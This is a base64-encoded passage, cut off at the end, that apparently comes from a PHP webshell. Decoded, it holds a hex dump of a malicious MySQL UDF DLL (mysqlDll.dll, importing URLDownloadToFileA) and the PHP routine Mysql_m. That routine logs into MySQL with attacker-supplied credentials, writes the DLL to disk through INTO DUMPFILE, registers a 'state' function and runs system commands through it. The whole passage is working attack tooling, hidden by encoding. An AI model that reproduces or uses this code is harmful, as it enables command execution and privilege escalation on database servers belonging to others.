QjhENjY4NkM1QzY3MUQwNDE5MDgwRTNENjBBQzBDMDA2QTBBODQ4N0QwNjVDOUMyNDlFNTg2MjA1MEQxMDU2NUQ3NDI2RThCQzAwQkY4M0M0MTBFMEFFNDFDMzA1RTNDQzBDQjU2OEUxMkVGMUM2MDEyRDQxNUNFQjAzMEE5MTVCNDAxM0Q0Qjg4MTEwQjVEQUE1REFEMjYzMDg4M0ZCMDk1MDc2OTIyNUZGMkY3RDZCMjAwNDMwODgxOTQxMzU3N0RBODAyMTAwNDk4QTE3OEEwMTg4NzgwMDdGOEIxMThGNDk0NzNCRjk3MkYyMUIzNjUzNDE0ODZGRkY5NDhCRDZBODFFNTg4RDM5QzQ3MENENDE0M0ExRDAzQjVDQ0YyNTJFQjZDMUZGNDY3NThBMjc0NzM4QzQ3NEYyMkM0MTlEMUFFMzI0RUM4NUQyRTFDNUZFNDE4NkUwMEU4MjRBNkYxNDc0RDIxQUMwRTZGRkQxNTc1RjNBRUI3OEYwRkZCRjM0MDE5MTMwMDA3RjA0MTlDMEQ5NkVFMkVCMTUxMzBEQzk4MTc4ODhDMkM3Nzg5NUZGQjU0MTU5OUVFRTkwNjcyNzFGRDgyRTc2MEIzRTZBNjAyMjY2QzQwNDA5MDdCNzQyQTY4RDM4Q0ZEQTM5Q0IxNTU4MEIwMzE4QUMwNTIyNEVFQkZCNTVEMEMyMDUyMjQxMjgwRUFCRTA5N0NGMEI2QzExMjgzNkQxRTk3MERBMEMxQjFGRkY4MDRFQjc0MUIzNUFCNjIwMTcyNjgyOEFEREZGREJFRTA3NzQyMTdGMUQ0NjdCRkM3MjA2MzhEQzc3MDIwMkU2MzhGODA5RDhCNTE3QkEzNUM2Rjc3NTBERUJENzMzQzkwODAyMzY1N0IzNEQ5QkI5QUZFNTgyODA2RDZBRTRCRjBGRjM1RkE2RUQ4NUI1MEEzMjE5MjZFRjJCQjQ0NkFCMkY5OUVFNTdFQkI2OERERTVBQzNFQzc0MjMwQkFCMUY3NzUxNjVFQjNBQzBGMDU5NkIwOTc5RDU4NEI1NjM0RENBMDk3NTcyMDI3MUZDMDhBNUM5REUwRTVGRkVDQjAzMDA1MTI4MzA3NDUxMkJCQzIzMTFFQzFBMkQ3NTc3MEM5MjBGMURBMkM2ODVCN0E2RUI1MkRGMkY3RDhCNUJCMTBFQzExQUI2RDEwQTU2MDE4MDVFNkVCREY1NEIzMTgwNjVGRTAwODg1MDg4NDVGREYzRUIwOUJBQUI0MUQ5MERGRDBGNkM4RDREMEFENThCMTgwMzE2NTE3OUFEN0REMTgyQzE2RTRGMDI2QjUzQjM4MDU5RTM0NTBBMjNCMDc0NjVCQjcyMjUxQ0FFNUE4MDQ1MEY4Q0Q1ODE1REI5QUFGNTQ5MEY4RkExOEE0NkQ1MkQxRkU5REVFODNDMDU3QzgzNzYwQTRENDA1RTdEMjUzOURCRDE4N0Y4Nzg3RTBCRDk1RkFENkEwQUExQTFGNERFRTBGRThBMDQ1ODIzQzY2N0Q5RUI2NThCMTUxMkRBNjVFOTRDQjRCNkM4NEE3NDBGQTdERjVCRDRENjMwQUY4ODA2NUQwOTU4QjYwOTE3QzU1MjJCNUIxMzU2NkIwMzJDRjAzNkJFMDNCNDlGNTcyRjFBNkFFMDY0OEZDQzIwRjZBRURBMDZBRDc1QTVENjQ2RDBCRTA1RkQwMzJDMzcxMjYyNTNDQjBCQzE4QzAwODg1REMwMjlDMjVBMEJDODM5RkFBQjYwMjg3QzI1RjdFMUMyOURFQjAyNUVBMTA1QjExRDQyMDMwOTg1MDU2QzM1MUZEMzFFQUFDQTNFQzFDQzAzNTgwMDAwRDM3NDY2QUFGRjBGNEQ1M0VFNjVERDkzMDRERjAzRTUwRjA4RUMwM0JERTRGMkIyRjIwRjBBRkYwQjA1MENDRjBBQjY1NkQwMDNENTAzMDIwMTdGQjZERjNBMTkwMzA3MDYwMjEwMDQ0NTAwMDUzNTMwMDA1MEI1RUVGRjdGMkMyMDI4Mzg1MDU4MDcwODAwMzczMDMwNTc1MDA3MEYyMDBCRDcxNDYxREUwMDA4NjA2ODYwMDk3ODAwNzNBRTk1NkUwODA3MTUwNzAwMUEwMTBFN0Q3QkRERkYwMDI4MDA2RTAwNzUwMDZDMDEyOTMyMEY2RTc1NkM2QzZGQjdGRkRGMEE3Mjc1NkU3NDY5NkQ2NTIwNjU3MjcyNkY3MjIwMEYwRDBBMDM1NDRDNEYwN0U0QkZEOTUzNTMxMTBFMDA1MzQ5NEU0NzAwNDRCQkZENjVFRDRGNEQ0MTEyMTE1MjM2MzAzMjM4MDgyRDIwNEJCNzZGN0Y3OTYxNjI2Qzc0NkYyMDY5NkU2OTU2NjE2QzY5N0EwRDY4NjVENjdFQkVEOTYxNzAzNzI3Mzc2RTZGNzQzRDA0NjBFRkI2RkY3NTY3NjgyMDczNzA2MTYzMjM2NjdCNkM2Rjc3NjkzODBBQjlFQzM2NjEwNjZGNkUzNzM2RUQ2NzIwNzk3Mzc0NjQzNTcwNzU3MjJCRjZEQjVBRkI3NjY5NzI3NDc1MjEzM0E1NjMyMzIwNjMwQzlCNDJCRUQ4NkMyODVGMzQ1RjJBQkRGNkRBNzY2NTc4NUMyRjU4MDZEQ0UyRTZCRUIwOTM1RjMxMzlGNzZGNzA2NTU4MzEzMjYwREJFRTczNkYwRjY0NjU3MzYzMkIzODg4NzA2QjZENDYyNDgxNjU2NDE5MzAyNERGNDA1NzIzMzc2RDkyNkZEQkFEQTZBQzc0NjhCRjYxMkY2QzZGNjM2QjFCNkM4NTMwMTczNDY0Qjc4NjVCNkI2RTYxMkUwMkEyMjE3MjZEMDA1MEQ4REFCNzcwNDA2NzcyNjE2RDIwNEE2RDM2NjgyOUVDODUyRjMwMzk0RjEwRTcxQThENjY0MTJBMkIzMDJFMkI4NEVGNTNDODM4NjE3MjY3NzUyODczNUY2REJCRjYzQzMwMzI2NkMxNkU2RTY3ODI2RjlDQjUyRUI2MDU3NDNBMTE2NEU2N0Y0REMzREI0MjJCMkQ2MDM5NjYxNTU2Njk3M0FBRUZGNjYwRkM0MzJCMkIyMDUyQTA0QzY5NjJCNDcyNzkyNzZEMEY4N0I5MEEyRDE2NDUwRTIxMTE1MEQ4NjU2QjlDRDQzQUMyMDAyRTAwM0NFNUVENkQ3MzZERTAyNTJDNkI2Qzc3NkUzRTFCMTdFRUQ4Rjg0NzY1NzQ0QzYxMzI0MTAyNzY2NTUwQUU3NTcwNUJEQkNFNjIxMzBGNTc5NTY0MjY4NzY1MzRCRUYwRkY3MzczNjE2NzY1NDI2Rjc4NDEwMDc1NzMyNTMzMzIyRTY0MkFERDkzMTI1MkVBQjc1OTU2MDM1QTc3Q0Y3NjY3MEI1QTk1NUEwRTBCNUI4RTAzOTI0ODNBQUZCOUJCQjU2RDkwNEEwMDY0MDAyQzIwNEQyMDA4NkRDOUJEQjk3OTAwNjMyRjY0MkYwNkQ3NEQwM0ZEQjUxNzlBNDE0NEVFNjU2RDYyNkI1QjRFNkY3NkMzRkU2RDkzMEI0Rjk4NkYwQTUzNjU3MDc0MTQ4NkE5Njg4NTQxNkM5NjcxMUJCRUVERjlCOTQxMDc2RTY1NDFGMzY5QTY0RDEwMTYzNjE3Mjc2MzY4NDY2NTMyNzUzM0JERjdERTdCNEE2MTZFMEE2NzVGNTc1MzdCQUY3QkVGNEI0NzQzMzc3OTQzM0YzQjZFQTlEMERFMzMyM0IwM0M2NDE4QjBFRDU4N0I0RjVFMDk1NDY4MTI3MzEzRDlDMTVBNjE1N0JDN0MwQzU0NzUwOUI5RDlCMUM2NEQyNTEwNTM3NTA3NDNGN0RFN0JFRjNCMzcyRjI3MjMxRjAzOUU3M0NFQjkwQTExMTgxRjI2MkQ5QzczQ0VDNUFGODI4OTkwOTc5RTcyQ0UzOUU3QTVBQ0IzQkFDMUM4QTc4MDA4MDQ3QzI4QkI5Mjk3NTA0M0JEMzg0RjI5NjM2MEE5NTIzRjRENzk3MzcxOTA5NjIwQTk1M0E2MzYzMDZFQzI2M0I1MEIzNTVBNkEwOUE2NjNCN0I5MjFFNzZBMzc1MkMwNzcwMzVDMzIxNzAzQUJDRjkxRkIyRTc0NkQ3MDBGQjQwNjAwQjY0NzJBNDgxRDNBMkM3RUI1M0QyNUU0RTZGRkRCNzMwQTJGNjM2RDY0MkU2NTc4NjUyMDJGNjMyMDAwNjg2NTZDNTUxOTJCNzUzMTM3NzQwNzM5NjdGRjc2QjZFNDM4MEIzMDA2Njg3NDc0NzAzQTJGMkY4RjJERjVGRjJFRDk2MzJEOUIwOUNBRTRDOEVCQjhGMUNBQkRCNEVEQ0VGM0ZGQzNGRTZGMTIwRDAwQ0ZDMkQ0RDhDQUE3QjBEQzBCQ0VDNEJDRkVCM0M5QjlBNkY2RENFNkZFMjFDMkI3QkVCNkEzQkE3RTE3NUMzRjQ0ODY3QjgxRDEwRjAwMjAwNTkzMTk1NzMxRDkxMzE5OURFNDY2NzI3MUYwMTA4REU4ODMyMTE5QjIxNzhFMTgwRjMwNDM0RTUxNDZDMkY4MDM5MjAxN0JEODk0QTAwNzAxMDE1MzEwN0M4MUE0QjkwMjAxMUYwMjY0NDEwMTUyNDc2MzU3RDlEOTA3MEEyRjAyMDc3NDNDRjJFNEM5NkMwODQwMDkxNDBBNzNGMDEwOTMyNzRGOUVDNDExOTQxMjcwMTMzQzc5RTRDOTQ0MTgwQzE5NzJFNDFBQUMxQjkzMjc0RjlFNzQxQzRDNzgzQzc5NkVGMkU0QzkyQzdBMUNGQzE4RkY4NkIyOTMxN0Q4NTRERDAzODU3MjIwMDEwNzQwMjY5OTI4MjA0ODAwMTk0MDI2OTIxMDg0MTAwMjE5OTAwOTgxMDExOTkwMDExOTEwODIwMjYwMUMxNjAyM0IyMEVGMjAwRDBDMDUwMTMzMTY0REQzMEMzNjAzMDcwNDE4MDUwRDM0NEREMzM0MDYwOTA3MEMwODMyRDgyMDgzMDkwQTFCMEJDMUJFRjcwMjU3M0IwNzBGNTc1RjkwNkVCMDEwMTMxMTAzMTIxNzIxMEMzMkQ4MjAzNTBGNDE0MzM2RDg2MDgzNTAzMzUyMTc1MzA3RDg2MDgzMEQ1NzVGNTk3QjZDMTdEMjM0NEQzNzZEQUIyMDcwMUM3MkQ4NjBERjBCQzcyRjgwQjM4MTA3NjA4MzBDMzY4MjFGODM4NDhGMjA4MzM0Q0Q5MTI5OUVBMTgzMEQzMkQ4QTQ2RkE3Qjc5RkNFNzYwRUMyNjAxRkQ3MEIxODA3MDA2OUJFQjM1RDA1MTdDMDBCMUQwNDkwNjY0MDA2OTY4RDA4NjQ0MDA2NjQ4RThGOTAwNjY0NDAwNjkxOTI5M0NDMDY2MTQwMDM5Rjc4RUY0RDU0RUMyNUZGMDIwNDIyMkI2MDI3Q0YwRUY2ODI3OTgyMjExN0E2REYwN0ExQTU4MUU5Q0RGM0VGOUZFMEZDMkY0MDdFODBGQ0E4QzFBM0RBQTM0RjBENzJGNjA4ODFGRTA3NDBCNTc3ODMwQzgxMkY0MUI2NUZDRkEyRTQzRTVGMjFGRkEyMUEwMEU1QTJFOEEyNUI3RUExRkU1MTA1QkY5MkRGRUUwM0RBNUVEQTVGNUZEQTZBREEzMkQzRDhERUUwQjI2NjI3QjdGOTM5MzE3RTQzMDMwMzg2MDA2NEFBNDMyRUU5OUU5Qzg0NTM4Qjk4NzY4NDAzODBBNjY5OUFBNjdDNzg3NDcwNkM5QUE2Njk5QTY0NUM1NDQ4M0MzNDY5OUFBNjY5MjgyNDIwMUMxOEE2Njk5QUE2MTQxMDBDMDgwNDRERDMzNDk3MDA3NUZDRjhGMEU0RENBNkU5OUUzNUQ0MkY3NUNDMDNDNEJDOUFBNjY5OUFCMEE4OUM5MDhDODg0OUJFQTY2OTgwNkM2NENEMkU4MjFENjVCQjhDOEY5MDVDMDM3RjAwOUVGMDQwRTgyRjUwMEI4MDcwMDdGMEYxMTMyNURDQTBEMTUzNTQ5OTUwOEJERDUwQzk0NDU0OENGMzhDREM5N0IwNTg1OTJDQTdCRjA2Njk5QTBFMUVFRjNCNUE5Nzc1QTc2OUJBQTdCNUQ0RjNFMDMwMUFCODZDRDMwMzRFNkQwMTMzM0FCNzU5Njk5QUE2Njk3Nzk2QjREM0YyMENEQTc0REQyNzJGMDM0RDZDMDFGMTA4QTQ4MDA4MzY4MDI0NDQ0MTQ0MjEwOTgwRDEwOTYwMDA2NEMxNUIwNTRENzM0MzI1NzQ2NTU0QjZDQkI3NTcyQzBENDQ2NTZDNjU0NjY5MDU0MTBBMTA1RkRCMEM0NzBBMDk1M0M1RDg3MzkzQ0QyNzE5NTIyQzBBMjNFQzRGNTZDMTQ1MTg1NjYxNzI2OTYxNjIyMjEyQzBFQzdGNDM2QzZGNzM2NTQ4NjE2RTY0MjVGNjJBRDgwRTRCNEE1MDBCNjM0MTdCN0I1NjY4Njc1Mzc5MUQ2NTZENDQ0N0I3QzFCNjU2RjUyMjc5MTQ3NDRFNzQ3NTE1Qjg5M0ZENzA0OTZFNjY2RjQxMzU2OTcwNEZCMURCRDYyRUE4NDU3ODJBMDg1MzVENjU3MDJDRkIzNkNDRkQ1NjY1NzI3MzY5NkYxNjNCODk2RTY3NTQ3OTJENjdERjg1NkM1NzBGMUY0QzQzNEQ2MTcwMTE1NzA2ODgyRTYxMEQxQjRENzA3M0VENUJDMzQyNzkxMjZGNjU2NDY1NDM2ODgzNjZFNUFCQTAzREZCNjQ0RjY2RjM0QzZGRkQ4RTZCNjhGRjMwMEI3NDZDNTU2RTc3M0MzRDQ4RDc2N0VEQUM3QzcwNDE2QzZDMEE0NkIxRkI0MzJEN0I5QkUxNkY2RDZEMDkzMzZFN0RBQ0IzODU1Njk4MjY3M0ZCMEI3OTBDQzU4MEQ4NjZFNTBCNTZBREI1MjE0MTlDNDI0OTREMUUyNjNDQzNENjA5NjMwQTUzMjc0MEIwMjlEQkRBQ0ExNkFEMTQ3MjE1NDIxQkMwQjY0QzVCNzYyQjc4MTA4Qzg1ODAyNTBCNzdDNUVCODQwN0M0NjAwQzU0MkZCOTk4QTE3MEI2REE3NUQzRjgxMkRDREQzMzAyNTI0OTY0Mzg2QzczNTNGM0IzMzc4QkRENTU3NTY1MEM0RjA5REU0QkQyMjU4QzUzMUQyRDQ3MUEwODZENjE4NjQzNDI3NTUyQzkzQjI0NjMzNjY0MTJBMEQ1MENDMzYzMTQxRTRENkY2NEJEQTM0RTYxNkQ2QTNCMjE2MEJDNUY5RUU0NzMxODMwMDQ0NzBBMENGM0NBNjYyNEEzRkQwOEU0MkNDRkYwNDI1ODE2NDM2MTg1M0IxQ0ZFNjZCRjA4NTA2RjY5OTBDOTA2QzI1RUY5OURGRDZCNjU2NDQ0NjU2MzM4MTVDMjg0NEQ3MjQ5NkU1M0VCNDYwRjNBQzFGMUVGNzM2ODRCNDI3NTY2NjYzRTZBNTBFQ0IxMzY3NjFDMEE0MTBCMDc0RjQ1NEQwOTJDMTlGRTEwOTM0MTY0NjQ3Mjk3RUY3RDI4NDFCQ0Q5M0M3MTU1NTI0QzQ0MEE1QkE0NjY4Mjc3RTNDRTFDODhGNkY2RkUzNDA0NTc1MzQxNTM4NjREMDBGRjA0MDJDQkIyMkNDQjE3MzkwMzM0MDkwQzhEMzJCNjJDMEIwMjI2NDlGN0ZGN0ZBRTZEMEMxMDAyNUMwMDBBMDUyRjBBNTIwNTU0NjQxNzM1MEJERkZFRkZGRjgxMTkxMjE5MkEwNjBCMkEzODUzMTkzMTBCMzIwRDFCODA2NTEyRUQyNDA1NjcwQjMwMTAwRjFDRkZGRkZGRkYxQjFCOTYxMzBCNTMwQjFDNDU1NDA1NDAwNjQ1MTcxMTA2MTgwQTExODE0NTExMEI0QzMxMDUyNjUzMEY3RDFDRkJBNUZGRkYwNzhCMTIxNDA1MEIxMjFCMjcxQTEyNDE2OTFBMDlGMDRCRjgzQTA2RjA1MjAxMDNCRkZERkY3RjA4MDIwNzBGMDgwQjA2MDYwQTE4MDUwQTFBMEUwODA2NDMxMjVDMUI0RjU5MDg1QTBEQTM3REY2NkZGRjBGMTZGMDMwMDFCQUYwMEFGNjIxMTc3NUYwQzgwMjA0MDBDRTJEMDdFNkVERURCRjVGMTAwNzA3MDgyNzBDMEEwODMwMEEwNjA4MDUwQzA1MENCRkI1RkZCQjE2MDMwODEzMDgyRDFCMTAwNjBGMDYwNzA5MjFBRTA4RjA0RjAyMEU2QkJGQjVFRDA2MUEwNTBGMTA3RUEyMDYwNTA2MEQxRDE1MzQ5QkZCRjY5QjIyNDRBNkYwRUQwMTIwMTMwNjE2MDcwRjE4MTBGQkZGREJEQjA5MUE1NzEzNjJBOTg1MEUwQjE0MDYwRTA5MTExQzBGMTIwOTFDMjMwQTAzRkZGRkZGQkYwQzEzN0YwQTFDRjBGMjAwMDcxOTQyMTIzMTBDMEIwRjBBRjAwMzAyRjA0RDAxMkMwQzFDMTkxQTA4MTFGNkVENUJGQjA1MEQwNUYwMDU0OUJGMDUzODBDMDc1NzA3MEExOTA4OEVEQkFERkREQjA1NjYzQTA4MUEwNjExMTkwQzcxMTMwODFFMDkxN0Y2RkYwQjZGMTc2MjE4MDY0MjIyMTQzMjA3MTUzMjBBMjExNTI0MkEwRTMxMUNGNkRGNkVGRjIxMjUwRjBGMzIxMDQzQ0IxNDBFNDcwNjVCMDc0ODQ1RTMxOTM1MzlEQkRGNkVGRjBDMTAzRjUwMTMzRTEyODIyNjBEOEUxMzI3MEY0MjE0MUU2RDE1N0NGQkZGNkZBQTBFMTM3NzBEMjUxQzEzNzRBMDREMTgxNTRBNDgxNzEyRTMwODRCMjUxMjg0MkY2QzJGNDc1NTAxMThFRjA1MUQyOTI2MUEwNzI4NDJFRURFMUQ0QTA2MDQ2NjBCMUIwNzE2MUQyQTMyRkZCN0I3N0Y3MjI4MDYwQzNCMDgyOTcxMEQwQzIzNEY2MDM5MTUwRDNEMjIwODRDMEYxOTYxNUJGQkZGMjYyRTBGMjAyMjJEMTQzQTA3MjYxODFBMEI4M0E2N0M1NkRCRkZGRjEzOEFGMEZCMDA3OTBDMTUwQjJFRjBEOTAxMUMwRDBEMTMwOTBDMzJDMjIxQjc2Njc4RTEwNjIxMEExRDA4MTcxNUE5MTlFODBCMEFGQkRGMEEwQjZFNDMyQzAwMTkwNjZGMDYxRTExMTMxNTFFRjk1MDY4ODU3RjEwMjEwQzEyMEUwRjExNzU5NjQ3QkZGMDBCQ0RCODVDN0VGMDU2MDExRTU1MEYwQUM2MEE4OTA1MEJGRkJGQjUxRjRDMzUwODBFMUUxRDE4MjA1ODE2MzM2ODI1NDYwNTAzMDcxN0ZFQUQ2REZDMTAzRDEwNTYxMkYwM0UwMUVDNDhCMjRGMzBCRDcxRTFCNzVCMDQ1RTJGMEY1ODM4RUEzQzdEMzgxMDA0MENGQjc2RjM4MzAxRjBCNDAzMDQwOEYwQUMwQTBERjAxNDAxMDQxN0M4OTE1RDdFMjAxMDEwODQwODAyMDgwMDA0NjQ1MzIwM0ZGMDI0MDYwODA0MTAwOUY5MkY3MUU5MEM5QzY0NTA0NUE1NEMwMTA0MDBCMjk3NkE0NkFBNEVGOTBGRTAwMDBFMjEwQjAxMDYyNjRCMDA0RjI2QTkyNDQxMTBCREVDM0NGQjA5MTAwRjA0MDAwNzAwRDBCMjM3RTk4MjI3MkEwMjAyMDc5QjZEN0VEODFFOEQwMDAwNzFDODg2NjIwMjg1Qjk2NTBBQzA2NDhBMDAyQjhDQUE0QkE3NDRCMDEwMEM3NkY5MkU3NDY1Nzg3NDQ2NjE5MDcwRTJBRDJBNjU3NENENjAyRTcyMTI2NjlEMkJDMUFCMEQ1MzAzRkI1RTczRDkwMjQwMkUyNkNGMjQyN0I2MjkxOUE0OTA5MEMwNEY2NTE5RUM2QjBGN0Q1ODRGQzAyN0EwNkY2RUJGMjk0MjFCNUM4ODEwNTFDNDg5QzcwMDAwMDAwMDAwMDAwMDgwMDQwMEZGMDA4MDdDMjQwODAxMEY4NUMyMDEwMDAwNjBCRTAwQTAwMDEwOERCRTAwNzBGRkZGNTc4M0NERkZFQjBEOTA5MDkwOEEwNjQ2ODgwNzQ3MDFEQjc1MDc4QjFFODNFRUZDMTFEQjcyRURCODAxMDAwMDAwMDFEQjc1MDc4QjFFODNFRUZDMTFEQjExQzAwMURCNzNFRjc1MDk4QjFFODNFRUZDMTFEQjczRTQzMUM5ODNFODAzNzIwREMxRTAwODhBMDY0NjgzRjBGRjc0NzQ4OUM1MDFEQjc1MDc4QjFFODNFRUZDMTFEQjExQzkwMURCNzUwNzhCMUU4M0VFRkMxMURCMTFDOTc1MjA0MTAxREI3NTA3OEIxRTgzRUVGQzExREIxMUM5MDFEQjczRUY3NTA5OEIxRTgzRUVGQzExREI3M0U0ODNDMTAyODFGRDAwRjNGRkZGODNEMTAxOEQxNDJGODNGREZDNzYwRjhBMDI0Mjg4MDc0NzQ5NzVGN0U5NjNGRkZGRkY5MDhCMDI4M0MyMDQ4OTA3ODNDNzA0ODNFOTA0NzdGMTAxQ0ZFOTRDRkZGRkZGNUU4OUY3Qjk5NjAxMDAwMDhBMDc0NzJDRTgzQzAxNzdGNzgwM0YwQTc1RjI4QjA3OEE1RjA0NjZDMUU4MDhDMUMwMTA4NkM0MjlGODgwRUJFODAxRjA4OTA3ODNDNzA1ODhEOEUyRDk4REJFMDBDMDAwMDA4QjA3MDlDMDc0NDU4QjVGMDQ4RDg0MzAwMEUwMDAwMDAxRjM1MDgzQzcwOEZGOTY1MEUwMDAwMDk1OEEwNzQ3MDhDMDc0REM4OUY5NzkwNzBGQjcwNzQ3NTA0N0I5NTc0OEYyQUU1NUZGOTY1NEUwMDAwMDA5QzA3NDA3ODkwMzgzQzMwNEVCRDg2MTMxQzBDMjBDMDA4M0M3MDQ4RDVFRkMzMUMwOEEwNzQ3MDlDMDc0MjIzQ0VGNzcxMTAxQzM4QjAzODZDNEMxQzAxMDg2QzQwMUYwODkwM0VCRTIyNDBGQzFFMDEwNjY4QjA3ODNDNzAyRUJFMjhCQUU1OEUwMDAwMDhEQkUwMEYwRkZGRkJCMDAxMDAwMDA1MDU0NkEwNDUzNTdGRkQ1OEQ4N0ZGMDEwMDAwODAyMDdGODA2MDI4N0Y1ODUwNTQ1MDUzNTdGRkQ1NTg2MThENDQyNDgwNkEwMDM5QzQ3NUZBODNFQzgwRTlDNzNDRkZGRjAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDcwRjAwMDAwNTBGMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDA3REYwMDAwMDYwRjAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwODhGMDAwMDA2OEYwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDA5MkYwMDAwMEEwRjAwMDAwQjBGMDAwMDAwMDAwMDAwMEMwRjAwMDAwMDAwMDAwMDA3MzAwMDA4MDAwMDAwMDAwNEI0NTUyNEU0NTRDMzMzMjJFNDQ0QzRDMDA3NTcyNkM2RDZGNkUyRTY0NkM2QzAwNTc1MzMyNUYzMzMyMkU2NDZDNkMwMDAwNEM2RjYxNjQ0QzY5NjI3MjYxNzI3OTQxMDAwMDQ3NjU3NDUwNzI2RjYzNDE2NDY0NzI2NTczNzMwMDAwNTY2OTcyNzQ3NTYxNkM1MDcyNkY3NDY1NjM3NDAwMDA1NTUyNEM0NDZGNzc2RTZDNkY2MTY0NTQ2RjQ2Njk2QzY1NDEwMDAwMDAwMDAwMDAwMDAwQjE5NzZBNDYwMDAwMDAwMDFFRjEwMDAwMDEwMDAwMDAwMzAwMDAwMDAzMDAwMDAwMDBGMTAwMDAwQ0YxMDAwMDE4RjEwMDAwOTAxMDAwMDA5MDE1MDAwMDgwMTAwMDAwMkJGMTAwMDAzMUYxMDAwMDNFRjEwMDAwMDAwMDAxMDAwMjAwNkQ3OTczNzE2QzQ0NkM2QzJFNjQ2QzZDMDA3Mzc0NjE3NDY1MDA3Mzc0NjE3NDY1NUY2NDY1Njk2RTY5NzQwMDczNzQ2MTc0NjU1RjY5NkU2OTc0MDAwMDAwMDAwMEUwMDAwMDBDMDAwMDAwMUQzNjAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAiOw0KfQ0KDQpmdW5jdGlvbiBNeXNxbF9tKCkNCnsNCgkkTVNHX0JPWCA9ICfH68/Itbyz9kRMTCzU2da00NDD/MHuLk1ZU1FM08O7p7HY0OvOqnJvb3TIqM/eLLW8s/bCt762sdjQ68TcvNPU2ERMTM7EvP4uJzsNCgkkaW5mbyA9ICfD/MHuu9jP1Cc7DQoJJG1ob3N0ID0gJ2xvY2FsaG9zdCc7ICRtdXNlciA9ICdyb290JzsgJG1wb3J0ID0gJzMzMDYnOyAkbXBhc3MgPSAnJzsgJG1kYXRhID0gJ215c3FsJzsgJG1wYXRoID0gJ0M6L3dpbmRvd3MvbXlzcWxEbGwuZGxsJzsgJHNxbGNtZCA9ICd2ZXInOw0KCWlmKGlzc2V0KCRfUE9TVFsnbWhvc3QnXSkgJiYgaXNzZXQoJF9QT1NUWydtdXNlciddKSkNCgl7DQoJCSRtaG9zdCA9ICRfUE9TVFsnbWhvc3QnXTsgJG11c2VyID0gJF9QT1NUWydtdXNlciddOyAkbXBhc3MgPSAkX1BPU1RbJ21wYXNzJ107ICRtZGF0YSA9ICRfUE9TVFsnbWRhdGEnXTsgJG1wb3J0ID0gJF9QT1NUWydtcG9ydCddOyAkbXBhdGggPSBGaWxlX1N0cigkX1BPU1RbJ21wYXRoJ10pOyAkc3FsY21kID0gJF9QT1NUWydzcWxjbWQnXTsNCgkJJGNvbm4gPSBteXNxbF9jb25uZWN0KCRtaG9zdC4nOicuJG1wb3J0LCRtdXNlciwkbXBhc3MpOw0KCQlpZigkY29ubikNCgkJew0KCQkJQG15c3FsX3NlbGVjdF9kYigkbWRhdGEpOw0KCQkJaWYoKCFlbXB0eSgkX1BPU1RbJ291dGRsbCddKSkgJiYgKCFlbXB0eSgkX1BPU1RbJ21wYXRoJ10pKSkNCgkJCXsNCgkJCQkkcXVlcnkgPSAiQ1JFQVRFIFRBQkxFIFNwaWRlcl9UZW1wX1RhYiAoc3BpZGVyIEJMT0IpOyI7DQoJCQkJaWYoQG15c3FsX3F1ZXJ5KCRxdWVyeSwkY29ubikpDQoJCQkJew0KCQkJCQkkc2hlbGxjb2RlID0gTXlzcWxfc2hlbGxjb2RlKCk7DQoJCQkJCSRxdWVyeSA9ICJJTlNFUlQgaW50byBTcGlkZXJfVGVtcF9UYWIgdmFsdWVzIChDT05WRVJUKCIuJHNoZWxsY29kZS4iLENIQVIpKTsiOw0KCQkJCQlpZihAbXlzcWxfcXVlcnkoJHF1ZXJ5LCRjb25uKSkNCgkJCQkJew0KCQkJCQkJJHF1ZXJ5ID0gJ1NFTEVDVCBzcGlkZXIgRlJPTSBTcGlkZXJfVGVtcF9UYWIgSU5UTyBEVU1QRklMRSBcJycuJG1wYXRoLidcJzsnOw0KCQkJCQkJaWYoQG15c3FsX3F1ZXJ5KCRxdWVyeSwkY29ubikpDQoJCQkJCQl7DQoJCQkJCQkJJGFwID0gZXhwbG9kZSgnLycsICRtcGF0aCk7ICRpbnBhdGggPSBhcnJheV9wb3AoJGFwKTsNCgkJCQkJCQkkcXVlcnkgPSAnQ3JlYXRlIEZ1bmN0aW9uIHN0YXRlIHJldHVybnMgc3RyaW5nIHNvbmFtZSBcJycuJGlucGF0aC4nXCc7JzsNCgkJCQkJCQkkTVNHX0JPWCA9IEBteXNxbF9xdWVyeSgkcXVlcnksJGNvbm4pID8gJ7Cy17BETEyzybmmJyA6ICewstewRExMyqew3Cc7DQoJCQkJCQl9DQoJCQkJCQllbHNlICRNU0dfQk9YID0gJ7W8s/ZETEzOxLz+yqew3Cc7DQoJCQkJCX0NCgkJCQkJZWxzZSAkTVNHX0JPWCA9ICfQtMjrwdnKsbHtyqew3Cc7DQoJCQkJCUBteXNxbF9xdWVyeSgnRFJPUCBUQUJMRSBTcGlkZXJfVGVtcF9UYWI7JywkY29ubik7DQoJCQkJfQ0KCQkJCWVsc2UgJE1TR19CT1ggPSAntLS9qMHZyrGx7cqnsNwnOw0KCQkJfQ0KCQkJaWYoIWVtcHR5KCRfUE9TVFsncnVuY21kJ10pKQ0KCQkJew0KCQkJCSRxdWVyeSA9ICdzZWxlY3Qgc3RhdGUoIicuJHNxbGNtZC4nIik7JzsNCgkJCQkkcmVzdWx0ID0gQG15c3FsX3F1ZXJ5KCRxdWVyeSwkY29ubik7DQoJCQkJaWYoJHJlc3VsdCkNCgkJCQl7DQoJCQkJCSRrID0gMDsgJGluZm8gPSBOVUxMOw0KCQkJCQl3aGlsZSgkcm93ID